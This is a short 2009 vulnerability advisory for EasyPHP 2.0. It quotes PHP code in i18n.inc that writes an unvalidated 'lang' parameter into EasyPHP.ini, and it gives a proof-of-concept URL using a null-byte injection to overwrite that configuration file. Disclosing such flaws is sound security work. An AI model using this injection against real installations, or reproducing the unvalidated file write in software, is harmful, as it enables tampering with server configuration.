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EasyPHP 2.0 Configuration Overwrite

EasyPHP 2.0 Configuration Overwrite
Posted May 11, 2009
Authored by Zigma | Site nullarea.net

EasyPHP version 2.0 suffers from a configuration file overwrite vulnerability.

tags | exploit
SHA-256 | 87dca2c88938cadc33b0102c0be2ffb49d03761764f36f5b45c4694cc5caee32

EasyPHP 2.0 Configuration Overwrite

Change Mirror Download
Bug         : Arbitrary Modify Configuration File
Vendor : EasyPHP
Vendor URI : http://sourceforge.net/projects/quickeasyphp/
Product : EasyPHP 2.0
Author : Zigma [zigmatn @ gmail.com]
http://NullArea.NET

Description :

EasyPHP is a WAMP software bundle that installs web server services onto the Windows computer and allows quick-and-easy development of PHP and MySQL on a localhost (also known as 127.0.0.1).
The package includes an Apache server, a MySQL database, and the PHP extension.

[+] Analyis :

A slight look on i18n.inc

if (isset($_GET['lang']) AND $_GET['lang'] != $lang)
{
$fp = fopen($filename, "r");
$ini_contents = fread($fp, filesize($filename));
fclose($fp);
$ini_contents = str_replace("LangAdmin=".$lang, "LangAdmin=".$_GET['lang'], $ini_contents); <--
$fp = fopen($filename, "w");
fputs($fp,$ini_contents);
fclose($fp);
Header("Location: " . $_SERVER['PHP_SELF']);
exit;
}

EasyPHP does not verify user Input ( Lang parameter ) wich leads to arbitrary overwrite EasyPHP configuration file (EasyPHP.ini) .

[+] Proof Of Concept :

The request :

http://localhost/index.php?lang=fr%00Lang=Overwritten

Results in overwriting EasyPHP.ini Adding the string "Lang=Overwritten".

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